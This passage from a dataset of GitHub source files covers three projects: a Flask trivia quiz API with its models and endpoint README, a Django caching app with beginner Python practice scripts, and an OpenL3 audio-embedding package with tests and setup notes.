"repo_name": "HusseinYoussef/Trivia-API", "src_encoding": "UTF-8", "text": "import os\nfrom flask_sqlalchemy import SQLAlchemy\nfrom models import db\n\n\nclass DATABASE_URI:\n\n DB_HOST = os.getenv('DB_HOST', '127.0.0.1:5432')\n DB_USER = os.getenv('DB_USER', 'postgres')\n DB_PASSWORD = os.getenv('DB_PASSWORD', '2681997')\n\n def get_DB_url(self, env='dev'):\n\n self.DB_NAME = os.getenv(\n 'DB_NAME', 'trivia'\n if env == 'dev' else 'trivia_test'\n )\n DB_PATH = \"postgresql://{}:{}@{}/{}\".format(\n self.DB_USER,\n self.DB_PASSWORD,\n self.DB_HOST,\n self.DB_NAME\n )\n return DB_PATH\n\n'''\nsetup_db(app)\n binds a flask application and a SQLAlchemy service\n'''\n\n\ndef setup_db(app, env='dev'):\n app.config[\"SQLALCHEMY_DATABASE_URI\"] = DATABASE_URI().get_DB_url(env)\n app.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\n db.app = app\n db.init_app(app)\n db.create_all()\n" }, { "alpha_fraction": 0.6842105388641357, "alphanum_fraction": 0.6842105388641357, "avg_line_length": 17.40322494506836, "blob_id": "1922d8ecaec96a29b80e68b9e17e5eb6308c7d46", "content_id": "288a61780cd8c8227e2fc189ba462f3850ab0fe4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1140, "license_type": "no_license", "max_line_length": 61, "num_lines": 62, "path": "/backend/models.py", "repo_name": "HusseinYoussef/Trivia-API", "src_encoding": "UTF-8", "text": "import os\nfrom sqlalchemy import Column, String, Integer, create_engine\nfrom flask_sqlalchemy import SQLAlchemy\nimport json\n\ndb = SQLAlchemy()\n\n'''\nQuestion\n'''\nclass Question(db.Model): \n\t__tablename__ = 'questions'\n\n\tid = Column(Integer, primary_key=True)\n\tquestion = Column(String)\n\tanswer = Column(String)\n\tcategory = Column(Integer)\n\tdifficulty = Column(Integer)\n\n\tdef __init__(self, question, answer, category, difficulty):\n\t\tself.question = question\n\t\tself.answer = answer\n\t\tself.category = category\n\t\tself.difficulty = difficulty\n\n\tdef insert(self):\n\t\tdb.session.add(self)\n\t\tdb.session.commit()\n\t\n\tdef update(self):\n\t\tdb.session.commit()\n\n\tdef delete(self):\n\t\tdb.session.delete(self)\n\t\tdb.session.commit()\n\n\tdef format(self):\n\t\treturn {\n\t\t'id': self.id,\n\t\t'question': self.question,\n\t\t'answer': self.answer,\n\t\t'category': self.category,\n\t\t'difficulty': self.difficulty\n\t\t}\n\n'''\nCategory\n'''\nclass Category(db.Model): \n\t__tablename__ = 'categories'\n\n\tid = Column(Integer, primary_key=True)\n\ttype = Column(String)\n\n\tdef __init__(self, type):\n\t\tself.type = type\n\n\tdef format(self):\n\t\treturn {\n\t\t'id': self.id,\n\t\t'type': self.type\n\t\t}" }, { "alpha_fraction": 0.5906158089637756, "alphanum_fraction": 0.6180645227432251, "avg_line_length": 26.5, "blob_id": "b8b4765ac7390b5c7d03ad41605f6b84cfdd359f", "content_id": "5ca1eff6fcd2a093883a98033cb6363b4fe54217", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 8533, "license_type": "no_license", "max_line_length": 216, "num_lines": 310, "path": "/README.md", "repo_name": "HusseinYoussef/Trivia-API", "src_encoding": "UTF-8", "text": "# Full Stack Trivia\n\nTrivia is a web app that consists of a webpage to manage the app and a restful api to provide the app with different data including categories and questions.\n\n## Functionalities\n\n1) Display questions - both all questions and by category. Questions should show the question, category and difficulty rating by default and can show/hide the answer. \n2) Delete questions.\n3) Add questions and require that they include question and answer text.\n4) Search for questions based on a text query string.\n5) Play the quiz game, randomizing either all questions or within a specific category. \n\n## Getting Started\n### Frontend\n### Installing Dependencies\n\nThis project depends on Nodejs and Node Package Manager (NPM). Before continuing, you must download and install Node (the download includes NPM) from [https://nodejs.com/en/download](https://nodejs.org/en/download/).\n\nThis project uses NPM to manage software dependencies. NPM Relies on the package.json file located in the `frontend` directory of this repository. After cloning, open your terminal and run:\n\n```bash\nnpm install\n```\n\n### Running Your Frontend in Dev Mode\n\nThe frontend app was built using create-react-app. In order to run the app in development mode use ```npm start```. You can change the script in the ```package.json``` file. \n\nOpen [http://localhost:3000](http://localhost:3000) to view it in the browser. The page will reload if you make edits.<br>\n\n```bash\nnpm start\n```\n\n### Backend\n### Installing Dependencies\n```bash\npip install -r requirements.txt\n```\n### Database Setup\nWith Postgres running, restore a database using the trivia.psql file provided. From the backend folder in terminal run:\n```bash\npsql trivia < trivia.psql\n```\n### Running the server\nFrom within the `backend` directory.\n\nTo run the server, execute:\n```\npython app.py\n```\n### Tests\nTo run the tests, run\n```\ndrop database trivia_test;\ncreate database trivia_test;\npsql trivia_test < trivia.psql\npython test_flaskr.py\n```\nOmit the drop command the first time you run tests (since the database doesn't exist).\n## API Reference\n### Getting Started\n* Base URL: Currently this application is only hosted locally. The backend is hosted at http://127.0.0.1:5000/\n* Authentication: This version does not require authentication or API keys.\n\n### Error Handling\nErrors are returned as JSON in the following format:\n```\n{\n \"success\": False,\n \"error\": 400,\n \"message\": \"Bad Request\"\n}\n```\nThe API will return three types of errors:\n\n* 400 – Bad Request\n* 404 – Not Found\n* 405 – Method not allowed\n* 422 – Unprocessable\n\n### Endpoints\n#### GET /v1/categories\n* General: Return list of objects of all available categories.\n* Sample: ```curl -X GET http://127.0.0.1:5000/v1/categories``` <br>\n\n```\n{\n \"categories\": {\n \"1\": \"Science\", \n \"2\": \"Art\", \n \"3\": \"Geography\", \n \"4\": \"History\", \n \"5\": \"Entertainment\", \n \"6\": \"Sports\"\n }, \n \"success\": true\n}\n```\n\n#### GET /v1/questions\n* General:\n * Return list of all question objects, number of questions and list of categories.\n * Results are paginated in groups of 10. Include a request argument to choosee page number, starting from 1.\n* Sample: `curl -X GET http://127.0.0.1:5000/v1/questions`\n\n```\n{\n \"categories\": {\n \"1\": \"Science\", \n \"2\": \"Art\", \n \"3\": \"Geography\", \n \"4\": \"History\", \n \"5\": \"Entertainment\", \n \"6\": \"Sports\"\n }, \n \"questions\": [\n {\n \"answer\": \"Apollo 13\", \n \"category\": 5, \n \"difficulty\": 4, \n \"id\": 2, \n \"question\": \"What movie earned Tom Hanks his third straight Oscar nomination, in 1996?\"\n }, \n {\n \"answer\": \"Tom Cruise\", \n \"category\": 5, \n \"difficulty\": 4, \n \"id\": 4, \n \"question\": \"What actor did author Anne Rice first denounce, then praise in the role of her beloved Lestat?\"\n }, \n {\n \"answer\": \"Maya Angelou\", \n \"category\": 4, \n \"difficulty\": 2, \n \"id\": 5, \n \"question\": \"Whose autobiography is entitled 'I Know Why the Caged Bird Sings'?\"\n }, \n {\n \"answer\": \"Edward Scissorhands\", \n \"category\": 5, \n \"difficulty\": 3, \n \"id\": 6, \n \"question\": \"What was the title of the 1990 fantasy directed by Tim Burton about a young man with multi-bladed appendages?\"\n }, \n {\n \"answer\": \"Muhammad Ali\", \n \"category\": 4, \n \"difficulty\": 1, \n \"id\": 9, \n \"question\": \"What boxer's original name is Cassius Clay?\"\n }, \n {\n \"answer\": \"Brazil\", \n \"category\": 6, \n \"difficulty\": 3, \n \"id\": 10, \n \"question\": \"Which is the only team to play in every soccer World Cup tournament?\"\n }, \n {\n \"answer\": \"Uruguay\", \n \"category\": 6, \n \"difficulty\": 4, \n \"id\": 11, \n \"question\": \"Which country won the first ever soccer World Cup in 1930?\"\n }, \n {\n \"answer\": \"George Washington Carver\", \n \"category\": 4, \n \"difficulty\": 2, \n \"id\": 12, \n \"question\": \"Who invented Peanut Butter?\"\n }, \n {\n \"answer\": \"Lake Victoria\", \n \"category\": 3, \n \"difficulty\": 2, \n \"id\": 13, \n \"question\": \"What is the largest lake in Africa?\"\n }, \n {\n \"answer\": \"The Palace of Versailles\", \n \"category\": 3, \n \"difficulty\": 3, \n \"id\": 14, \n \"question\": \"In which royal palace would you find the Hall of Mirrors?\"\n }\n ], \n \"success\": true, \n \"total_questions\": 19\n}\n```\n#### DELETE /v1/questions/{question_id}\n* General: \n * Delete a question by id.\n * Returns the id of the deleted question in case of success.\n* Sample: `curl -X DELETE http://127.0.0.1:5000/v1/questions/2`\n```\n{\n \"deleted_id\": 14,\n \"success\": true\n}\n```\n\n#### POST /v1/questions\n* General: \n * Create a new question using JSON body.\n * Return the newly create question id and total number of questions.\n* Sample: `curl -X POST -H \"Content-Type: application/json\" -d \"{\\\"question\\\" :\\\"is flask hard\\\", \\\"answer\\\":\\\"Not at all\\\", \\\"difficulty\\\":\\\"1\\\", \\\"category\\\":\\\"1\\\"}\" http://127.0.0.1:5000/v1/questions`\n```\n{\n \"created_id\": 24,\n \"success\": true,\n \"total_questions\": 19\n}\n```\n\n*Note: if searchTerm is included:*\n* General:\n * Search for matching questions.\n * Return matching questions if found and their number.\n* Sample: `curl -X POST -H \"Content-Type: application/json\" -d \"{\\\"searchTerm\\\" :\\\"title\\\"}\" http://127.0.0.1:5000/v1/questions`\n\n```\n{\n \"questions\": [\n {\n \"answer\": \"Maya Angelou\",\n \"category\": 4,\n \"difficulty\": 2,\n \"id\": 5,\n \"question\": \"Whose autobiography is entitled 'I Know Why the Caged Bird Sings'?\"\n },\n {\n \"answer\": \"Edward Scissorhands\",\n \"category\": 5,\n \"difficulty\": 3,\n \"id\": 6,\n \"question\": \"What was the title of the 1990 fantasy directed by Tim Burton about a young man with multi-bladed appendages?\"\n }\n ],\n \"success\": true,\n \"total_questions\": 2\n}\n```\n\n### GET /v1/categories/{category_id}/questions\n* General:\n * Get question of a specific category by id.\n * Return paginated questions of that catefory and the name of the category.\n* Sample: `curl -X GET http://127.0.0.1:5000/v1/categories/1/questions`\n\n```\n{\n \"current_category\": \"Science\",\n \"questions\": [\n {\n \"answer\": \"The Liver\",\n \"category\": 1,\n \"difficulty\": 4,\n \"id\": 20,\n \"question\": \"What is the heaviest organ in the human body?\"\n },\n {\n \"answer\": \"Alexander Fleming\",\n \"category\": 1,\n \"difficulty\": 3,\n \"id\": 21,\n \"question\": \"Who discovered penicillin?\"\n },\n {\n \"answer\": \"Blood\",\n \"category\": 1,\n \"difficulty\": 4,\n \"id\": 22,\n \"question\": \"Hematology is a branch of medicine involving the study of what?\"\n },\n {\n \"answer\": \"Not at all\",\n \"category\": 1,\n \"difficulty\": 1,\n \"id\": 24,\n \"question\": \"is flask hard\"\n }\n ],\n \"success\": true,\n \"total_questions\": 4\n}\n```\n\n### POST /v1/quizzes\n* General: \n * Use previous_questions and category parameters.\n * Return a random question of that category, and that is not one of the previous questions.\n* Sample: `curl -X POST -H \"Content-Type: application/json\" -d \"{\\\"previous_questions\\\": [24,21], \\\"quiz_category\\\":{\\\"id\\\":1, \\\"type\\\": \\\"Science\\\"}}\" http://127.0.0.1:5000/v1/quizzes`\n\n```\n{\n \"question\": {\n \"answer\": \"Blood\",\n \"category\": 1,\n \"difficulty\": 4,\n \"id\": 22,\n \"question\": \"Hematology is a branch of medicine involving the study of what?\"\n },\n \"success\": true\n}\n```\n## Authors\nAll other project files, including the models and frontend, were created by Udacity as a project template for the Full Stack Web Developer Nanodegree.\n" } ]
5
Yaseenamair/django_cache
https://github.com/Yaseenamair/django_cache
b0d8b7e718b9b3f1e473f9dc8ea815dbe69d6e9d
206180b9ea30bec3404049110a987516e8f92e61
798f896da9cc8b94168868ef8d76fa920a64e24c
refs/heads/master
2020-03-15T14:05:37.194491
2018-07-04T00:32:33
2018-07-04T00:32:33
132,182,869
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6621392369270325, "alphanum_fraction": 0.6706281900405884, "avg_line_length": 33.64706039428711, "blob_id": "e93ac6e9727f4b58ad63d7ea5eafbf258bc899f4", "content_id": "8120d8ffbb6e6d4a3214e71ace8b9fbf822e9eba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 589, "license_type": "no_license", "max_line_length": 77, "num_lines": 17, "path": "/tests.py", "repo_name": "Yaseenamair/django_cache", "src_encoding": "UTF-8", "text": "from django.test import TestCase\nfrom models import *\n\nclass CacheTest(TestCase):\n fixtures = ['test']\n\n def test_cache_get_by_pk(self):\n self.assertFalse(Article.objects.get(pk=1).from_cache)\n self.assertTrue(Article.objects.get(pk=1).from_cache)\n\n def test_cache_get_not_pk(self):\n # Prime cache\n self.assertFalse(Article.objects.get(pk=1).from_cache)\n self.assertTrue(Article.objects.get(pk=1).from_cache)\n\n # Not from cache b/c it's not a simple get by pk\n self.assertFalse(Article.objects.get(pk=1, name='Mike Malone').from_cache)\n" }, { "alpha_fraction": 0.5286624431610107, "alphanum_fraction": 0.5923566818237305, "avg_line_length": 18.625, "blob_id": "100cb539467896455775c218b54adead16298c90", "content_id": "6d9d9d497b03f37c71447e1563fd6b51f70d4df0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 157, "license_type": "no_license", "max_line_length": 29, "num_lines": 8, "path": "/kwargs_ex.py", "repo_name": "Yaseenamair/django_cache", "src_encoding": "UTF-8", "text": "def my_func(**kwargs):\n print(kwargs.get('a'))\n print(kwargs)\n\nmy_func()\nmy_func(a=10) # Named params\nmy_func(a=10, b=20)\nmy_func(a=1, b=2, c=3, d=4)\n" }, { "alpha_fraction": 0.8301886916160583, "alphanum_fraction": 0.8301886916160583, "avg_line_length": 25.5, "blob_id": "7d49fe43857037b5ed2b0b50b96f535633b6b092", "content_id": "e1d8b21d65d0bffb8bb5f4eb03de8a4be298bc9c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 53, "license_type": "no_license", "max_line_length": 37, "num_lines": 2, "path": "/README.md", "repo_name": "Yaseenamair/django_cache", "src_encoding": "UTF-8", "text": "# django_cache\nCache solution for Django application\n" }, { "alpha_fraction": 0.593137264251709, "alphanum_fraction": 0.6004902124404907, "avg_line_length": 33, "blob_id": "6b72df40e479c02afff3d896a3492b1ffca093fe", "content_id": "60529724c4c73e92d54e3e8784b08e1dd1883dbe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 408, "license_type": "no_license", "max_line_length": 69, "num_lines": 12, "path": "/csv_ex.py", "repo_name": "Yaseenamair/django_cache", "src_encoding": "UTF-8", "text": "import csv\nwith open('example2.csv', 'wb') as csvfile:\n spamwriter = csv.writer(csvfile, delimiter=' ',\n quotechar=',', quoting=csv.QUOTE_MINIMAL)\n spamwriter.writerow(['Spam'] * 5 + ['Baked Beans'])\n spamwriter.writerow(['Spam', 'Lovely Spam', 'Wonderful Spam'])\n\n\nwith open('example2.csv', 'rb') as f:\n reader = csv.reader(f)\n for row in reader:\n print row\n" }, { "alpha_fraction": 0.4261603355407715, "alphanum_fraction": 0.5780590772628784, "avg_line_length": 11.473684310913086, "blob_id": "6039072e3c2832ff2fe232711b21e8d3a62d58b3", "content_id": "11dd9d4e7f54185fa4fdaf69eefb25e69b27bdf7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 237, "license_type": "no_license", "max_line_length": 29, "num_lines": 19, "path": "/lambda_ex.py", "repo_name": "Yaseenamair/django_cache", "src_encoding": "UTF-8", "text": "f = lambda x: x*x\n\nprint(f(10))\nprint(f(20))\n\nf2 = lambda n1, n2 : n1*n2\n\nn1 = input(\"Enter number1: \")\nn2 = input(\"Enter number2: \")\np1 = f2(n1, n2)\np2 = f2(100, 200)\n\nprint(p1, p2)\n\n\nf3 = lambda n: n > 0\n\nprint(f3(100))\nprint(f3(-10))\n" }, { "alpha_fraction": 0.4773869216442108, "alphanum_fraction": 0.4773869216442108, "avg_line_length": 11.375, "blob_id": "46c3762168374a6dd23ccbe4222c39e35a16eb8c", "content_id": "47cfbab6804ad0859e2087989745fa3ba63db72d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 199, "license_type": "no_license", "max_line_length": 34, "num_lines": 16, "path": "/list_as_stack_ex.py", "repo_name": "Yaseenamair/django_cache", "src_encoding": "UTF-8", "text": "def push(l, e):\n l.append(e)\n return l\n\n\ndef pop(l):\n l.pop()\n return l\n\n\nl = ['a', 'b', 'c', 'd', 'e', 'f']\nprint(l)\nprint(push(l, 'g'))\nprint(pop(l))\nprint(pop(l))\nprint(push(l, 'x'))\n\n" }, { "alpha_fraction": 0.3965517282485962, "alphanum_fraction": 0.5775862336158752, "avg_line_length": 15.571428298950195, "blob_id": "f607e5af09f16659b62203b2f013d7844ddbc149", "content_id": "4828097d3e22a10effa92efb254339e80127231f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 116, "license_type": "no_license", "max_line_length": 31, "num_lines": 7, "path": "/class_e.py", "repo_name": "Yaseenamair/django_cache", "src_encoding": "UTF-8", "text": "def my_func(*args):\n print(args)\n\nmy_func(10, 20)\nmy_func(100)\nmy_func(100, 200)\nmy_func(1, 2, 3, 4, 5, 6, 7, 8)\n" }, { "alpha_fraction": 0.41428571939468384, "alphanum_fraction": 0.5714285969734192, "avg_line_length": 22.33333396911621, "blob_id": "13ff3beceb3d503254a362164a7d7139deaf9b25", "content_id": "be446885505d7c9fad30a5abdbcc287e26da6609", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 140, "license_type": "no_license", "max_line_length": 38, "num_lines": 6, "path": "/all _args_ex.py", "repo_name": "Yaseenamair/django_cache", "src_encoding": "UTF-8", "text": "def my_func(a, b=20, *args, **kwargs):\n print(a, b, args, kwargs)\n\nmy_func(10)\nmy_func(100, 200, 300)\nmy_func(1, 2, 3, 4, 5, x=10, y=20)\n" }, { "alpha_fraction": 0.6780551671981812, "alphanum_fraction": 0.6859395503997803, "avg_line_length": 23.54838752746582, "blob_id": "2cf81ec3cd87470cd32490d4543dd27ebd89f8e7", "content_id": "26a75b50466c76808775513b0ba73eb57c4bcf59", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 761, "license_type": "no_license", "max_line_length": 72, "num_lines": 31, "path": "/models.py", "repo_name": "Yaseenamair/django_cache", "src_encoding": "UTF-8", "text": "import managers\nimport fields\nfrom django.db import models\n\nclass CachedModel(models.Model):\n from_cache = False\n class Meta:\n abstract = True\n\nclass Author(CachedModel):\n name = models.CharField(max_length=32)\n objects = managers.CachingManager()\n\n def __unicode__(self):\n return self.name\n\nclass Site(CachedModel):\n name = models.CharField(max_length=32)\n objects = managers.CachingManager()\n\n def __unicode__(self):\n return self.name\n\nclass Article(CachedModel):\n name = models.CharField(max_length=32)\n author = models.ForeignKey('Author')\n sites = fields.CachingManyToManyField(Site, related_name='articles')\n objects = managers.CachingManager()\n\n def __unicode__(self):\n return self.name\n" }, { "alpha_fraction": 0.4727272689342499, "alphanum_fraction": 0.5909090638160706, "avg_line_length": 17.33333396911621, "blob_id": "0a513cb33ec0c248a32078e8245f2ecca42360c0", "content_id": "823f7593f00d57acb79d71babcc4e2037940ef82", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 110, "license_type": "no_license", "max_line_length": 25, "num_lines": 6, "path": "/default_args_ex.py", "repo_name": "Yaseenamair/django_cache", "src_encoding": "UTF-8", "text": "def my_func(a, b=20):\n return {a+b}\n\nprint(my_func(10))\nprint(my_func(100, 200))\n# print(my_func(1, 2, 3))\n" }, { "alpha_fraction": 0.6655405163764954, "alphanum_fraction": 0.6655405163764954, "avg_line_length": 20, "blob_id": "507ac18f86830e28a5b8442f785e290dc66960dd", "content_id": "87392dfebbbfb1d036b5f406398faf496ddbe931", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 296, "license_type": "no_license", "max_line_length": 63, "num_lines": 14, "path": "/doc_strings_ex.py", "repo_name": "Yaseenamair/django_cache", "src_encoding": "UTF-8", "text": "\"\"\"\nThis module helps you understand docstrings in Python\nThis is new python module\nThis has n number of classes\n\"\"\"\n\n\ndef my_sum(l):\n \"\"\"\n A function which will return sum of all numbers in the list\n :param l: list of numbers\n :return: sum of all numbers\n \"\"\"\n return sum(l)\n\n\n" }, { "alpha_fraction": 0.4965035021305084, "alphanum_fraction": 0.5020979046821594, "avg_line_length": 16.875, "blob_id": "ae830e307051f14c927068c6c51c8582c4d1107f", "content_id": "e9da4f3fbe0d7bf67b4c2362a11c8bb10757456d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 715, "license_type": "no_license", "max_line_length": 38, "num_lines": 40, "path": "/class_ex.py", "repo_name": "Yaseenamair/django_cache", "src_encoding": "UTF-8", "text": "\"\"\"\nModule level doc string\nEmployee class\n\"\"\"\n\n\nclass Employee(object):\n \"\"\"\n My Employee class\n \"\"\"\n def __init__(self, e_no, e_namae):\n print \"Inside constructor \"\n self.eno = e_no\n self.ename = e_namae\n\n def get_employee(self):\n \"\"\"\n My get_employee()\n :return:\n \"\"\"\n print self.eno\n print self.ename\n\n def get_employee2(self):\n \"\"\"\n my get_employee2() function\n :return:\n \"\"\"\n print self.eno\n print self.ename\n def get_employee3(self):\n \"\"\"\n my get_employee3() function\n :return:\n \"\"\"\n print self.eno\n print self.ename\n\n\nprint dir(Employee)\n" }, { "alpha_fraction": 0.5200945734977722, "alphanum_fraction": 0.5531914830207825, "avg_line_length": 17.39130401611328, "blob_id": "55a54ea69c4343e09d0da8008ca70a855d200641", "content_id": "2cc24df1e77c71b9e904d52f670b7f0d6c4ef3a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 423, "license_type": "no_license", "max_line_length": 55, "num_lines": 23, "path": "/decarators_ex.py", "repo_name": "Yaseenamair/django_cache", "src_encoding": "UTF-8", "text": "def is_positive(f):\n print(\"Inside decorator\")\n\n def my_helper(x, y):\n print(\"isndie Helper\")\n if x > 0 and y > 0:\n return f(x, y)\n else:\n return \"Please enter positive numbers only\"\n\n return my_helper\n\n\n@is_positive\ndef my_sum(n1, n2):\n print(\"Insude my_sum()\")\n return n1 + n2\n\n\nprint(\"Calling my_sum()\")\nprint(my_sum(10, 20))\nprint('#'*20)\nprint(my_sum(-1, -2))\n" }, { "alpha_fraction": 0.3461538553237915, "alphanum_fraction": 0.48076921701431274, "avg_line_length": 16.33333396911621, "blob_id": "c1203494d31531af8f0fae576c82e423a1686458", "content_id": "ea11f5c4a9e22619a0bb60c8be5e9a598f1a654d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 156, "license_type": "no_license", "max_line_length": 42, "num_lines": 9, "path": "/dic_comprehension_ex.py", "repo_name": "Yaseenamair/django_cache", "src_encoding": "UTF-8", "text": "l1 = ['a', 'b', 'c']\nl2 = [1, 2, 3]\nl3 = [10, 20, 30]\nd = {k: v for k, v, v2 in zip(l1, l2, l3)}\n\nprint(d)\n\nprint(zip(l1, l2, l3))\nprint(dict(zip(l1, l2)))\n" } ]
14
jonnor/openl3-hear
https://github.com/jonnor/openl3-hear
c0ba22194e9578c046bc64c15e666892d18dda63
71e31202db3897fb7f594f94a65de17c059fcbc4
d4d72eb3348b53576dd76cb85122ed611386fce0
refs/heads/main
2023-07-06T15:12:19.417519
2021-07-27T15:23:06
2021-07-27T15:23:06
387,937,876
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5600000023841858, "alphanum_fraction": 0.7200000286102295, "avg_line_length": 23, "blob_id": "6204dc26d90afdcb9fdca3bc868da97044ecc45b", "content_id": "5f1b5936fe0c63712e9151024398c915b52ee5a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 25, "license_type": "no_license", "max_line_length": 23, "num_lines": 1, "path": "/openl3_hear/__init__.py", "repo_name": "jonnor/openl3-hear", "src_encoding": "UTF-8", "text": "\nfrom .hear2021 import *\n" }, { "alpha_fraction": 0.6906474828720093, "alphanum_fraction": 0.7913669347763062, "avg_line_length": 33.75, "blob_id": "86dab54483522b9ebea3fcfe7eab21b9fafb296c", "content_id": "96f927e68ab028daafb4c148e10be1d32db925de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 139, "license_type": "no_license", "max_line_length": 69, "num_lines": 4, "path": "/requirements.txt", "repo_name": "jonnor/openl3-hear", "src_encoding": "UTF-8", "text": "git+git://github.com/soundsensing/openl3@allow-new-skimage#egg=openl3\ntensorflow-datasets==4.3.0\ntensorflow==2.4.2\nhearvalidator==2021.0.2\n" }, { "alpha_fraction": 0.6780538558959961, "alphanum_fraction": 0.6863353848457336, "avg_line_length": 25.108108520507812, "blob_id": "f15ba25cb3e94f886cc174444d298512052a8c7e", "content_id": "ae20c7fbb3146daf0a9fec255f27f164c7d9ac61", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 966, "license_type": "no_license", "max_line_length": 68, "num_lines": 37, "path": "/setup.py", "repo_name": "jonnor/openl3-hear", "src_encoding": "UTF-8", "text": "from setuptools import setup, Extension\nfrom setuptools.command.build_ext import build_ext\nimport sys\nimport os.path\nimport setuptools\n\nversion = \"0.0.1\"\n\nhere = os.path.dirname(__file__)\nproject_dir = os.path.abspath(here)\n\ndef read_requirements():\n requirements_txt = os.path.join(project_dir, 'requirements.txt')\n with open(requirements_txt, encoding='utf-8') as f:\n contents = f.read()\n\n specifiers = [s for s in contents.split('\\n') if s]\n return specifiers\n\ndef read_readme():\n readme = os.path.join(project_dir, 'README.md')\n with open(readme, encoding='utf-8') as f:\n long_description = f.read()\n\n return long_description\n\n\nsetup(\n name='openl3-hear',\n version=version,\n long_description=read_readme(),\n long_description_content_type=\"text/markdown\",\n packages=['openl3_hear'],\n # FIXME: re-enable when no-longer using git version of openl3\n #install_requires=read_requirements(),\n zip_safe=True,\n)\n" }, { "alpha_fraction": 0.7467811107635498, "alphanum_fraction": 0.7896995544433594, "avg_line_length": 45.400001525878906, "blob_id": "85749a06c0fc9d90d08e4bbe13ffeffc047774e6", "content_id": "cbc877a2df5547d706794a3ff6c37ba9bf427ce0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 233, "license_type": "no_license", "max_line_length": 152, "num_lines": 5, "path": "/README.md", "repo_name": "jonnor/openl3-hear", "src_encoding": "UTF-8", "text": "\nImplementation of the general-purpose audio embeddings for [HEAR2021](https://neuralaudio.ai/hear2021-holistic-evaluation-of-audio-representations.html)\nusing [OpenL3](https://github.com/marl/openl3).\n\n# Status\n**Work-in-progress**\n" }, { "alpha_fraction": 0.698241651058197, "alphanum_fraction": 0.718661367893219, "avg_line_length": 34.220001220703125, "blob_id": "45b4ca716916739ca1342d48b6fe29ceb83e519c", "content_id": "bc12942ef854ce15071eaae5b418b77547173e89", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1763, "license_type": "no_license", "max_line_length": 82, "num_lines": 50, "path": "/tests/test_hear.py", "repo_name": "jonnor/openl3-hear", "src_encoding": "UTF-8", "text": "\n\"\"\"Test the model using the HEAR2021 API\"\"\"\n\nimport math\n\nimport openl3_hear as module\nimport numpy\nimport tensorflow as tf\nimport pytest\n\n# TODO\n# test maximum length, 20 minutes\n# test temporal resolution. <50 ms\n# check shapes of outputs wrt inputs\n# sanity check with audio from real datasets\n# SpeechCommands \n\nTEST_WEIGHTS_PATH = 'unused'\n\ndef whitenoise_audio(sr=16000, duration=1.0, amplitude=1.0):\n n_samples = math.ceil(sr * duration)\n samples = numpy.random.uniform(low=-amplitude, high=amplitude, size=n_samples)\n return samples\n\n\ndef test_timestamp_embedding_basic():\n model = module.load_model(TEST_WEIGHTS_PATH)\n audio = numpy.array([whitenoise_audio(duration=1.5) for i in range(4)])\n audio = tf.convert_to_tensor(audio)\n emb, ts = module.get_timestamp_embeddings(audio=audio, model=model)\n\ndef test_scene_embedding_basic():\n model = module.load_model(TEST_WEIGHTS_PATH)\n audio = numpy.array([whitenoise_audio(duration=1.2) for i in range(3)])\n audio = tf.convert_to_tensor(audio)\n emb = module.get_scene_embeddings(audio=audio, model=model)\n\ndef test_very_short_file():\n model = module.load_model(TEST_WEIGHTS_PATH)\n audio = numpy.array([whitenoise_audio(duration=0.1) for i in range(1)])\n audio = tf.convert_to_tensor(audio)\n emb = module.get_scene_embeddings(audio=audio, model=model)\n\[email protected]('very slow')\ndef test_very_long_file():\n # up to 20 minutes can be provided in challenge\n # note, takes several minutes to process on CPU\n # but RAM usage seems to be stable at 3-4 GB resident\n model = module.load_model(TEST_WEIGHTS_PATH)\n audio = numpy.array([whitenoise_audio(duration=20*60) for i in range(1)])\n emb = module.get_scene_embeddings(audio=audio, model=model)\n\n" }, { "alpha_fraction": 0.5376162528991699, "alphanum_fraction": 0.694843590259552, "avg_line_length": 35.90625, "blob_id": "013e88abe3a20abbc9acb85eb64a6db7fbbde09a", "content_id": "7dfa2243817db58786d588ef19d6b55abe752a81", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1183, "license_type": "no_license", "max_line_length": 401, "num_lines": 32, "path": "/notes.md", "repo_name": "jonnor/openl3-hear", "src_encoding": "UTF-8", "text": "\n# TODO\n\nMilestone 1. Minimally functional, vanilla\n\n- Test pip install in Github Actions\n\n# Misc\n! openl3 on pypi released as 0.4.0 july 2021\nBut on github here only rc0 and rc1 tags\nhttps://pypi.org/project/openl3/0.4.0/\n\n\n\nThe conflict is caused by:\n openl3 0.4.0 depends on h5py<3.0.0 and >=2.7.0\n tensorflow 2.5.0 depends on h5py~=3.1.0\n\nFixed by using Tensorflow 2.4.x\n\n\nINFO: pip is looking at multiple versions of cython to determine which version is compatible with other requirements. This could take a while.\nERROR: Could not find a version that satisfies the requirement scikit-image<0.15.0,>=0.14.3 (from openl3) (from versions: 0.7.2, 0.8.0, 0.8.1, 0.8.2, 0.9.0, 0.9.1, 0.9.3, 0.10.0, 